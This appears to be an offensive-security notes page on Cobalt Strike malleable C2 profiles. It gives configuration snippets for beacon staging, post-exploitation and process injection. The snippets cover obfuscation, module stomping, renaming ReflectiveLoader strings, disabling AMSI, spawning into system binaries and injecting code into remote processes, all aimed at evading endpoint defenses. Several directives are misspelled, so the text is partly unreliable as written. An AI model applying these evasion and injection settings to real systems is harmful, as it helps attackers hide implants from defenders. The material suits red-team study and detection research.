# Malleable Profiles

{% embed url="<https://github.com/FortyNorthSecurity/C2concealer>" %}

{% embed url="<https://github.com/threatexpress/random_c2_profile>" %}

### Options:

```bash
#size of the assembly/powershell scripts 
set tasks_max_size "";

```

### Beacons:&#x20;

<pre><code><strong>stage {
</strong><strong>	set compile_time "DATE OF COMPILATION";
</strong><strong>	set image_size_x64 "522090";
</strong><strong>	set image_size_x86 "522090";
</strong><strong>	set clearnup "true";
</strong><strong>	set obfucate "true";
</strong><strong>	set name "dataparse.dll";
</strong><strong>	set module_x86 "wuaueng.dll";
</strong><strong>	set module_x64 "mssrch.dll";
</strong><strong>	set stomppe "true";
</strong><strong>	transform-x86 {
</strong><strong>		strrep "ReflectiveLoader" "RunHelloWorld";
</strong><strong>		}
</strong><strong>	transform-x64 {
</strong>		strrep "ReflectiveLoader" "PrintMenu";
		}
}

</code></pre>

<figure><img src="https://1422073608-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJ6mTp74lZCen0Sx5qHUb%2Fuploads%2FYhWuoGnuZzs191NHOI1F%2Fimage.png?alt=media&#x26;token=4d11957b-6001-4a48-8c43-adb639237f4b" alt=""><figcaption></figcaption></figure>

### Post-Ex:

```
##         = random numbers
msagent_## = standard communications 
status_##  = staging over SMB
```

```svg
post-ex {
      # control the temporary process we spawn to
      set spawnto_x86 "`%windir%\syswow64\dllhost.exe` -k netsvcs";.
      set spawnto_x64 "%windir%\\sysnative\\mstsc.exe";

      # change the permissions and content of our post-ex DLLs 
      set obfuscate "true";

      # change our post-ex output named pipe names... _
      set pipename "evil_####, stuff\\not_##_ev#l";
      set pipename_stager "update_##";

      # pass key function pointers from Beacon to its child jobs 
      set smartinject "true";

      # disable AMSI in powerpick, execute-assembly, and psinject 
      set amsi_disable "true";
}

```

### Process-Inject:

```
process-inject {
    # set how memory is allocated in a remove process:
    set allocator "VirtualAllocEx";
    
    # shape memory characteristics and content:
    set min_alloc "16384";
    set startrwx "true";
    set userwx "false";
    
    transform-x86 {
        prepend "\x90\x90";
    }
    transform-x64 {
        prepend "\x90\x90";
    }
    
    # determine how to execute the injected code
    execute {
        CreateThread "ntdll.dll!RtlUserThreadStart";
        SetThreadContext;
        RtlCreateUserThread;
    }
}
```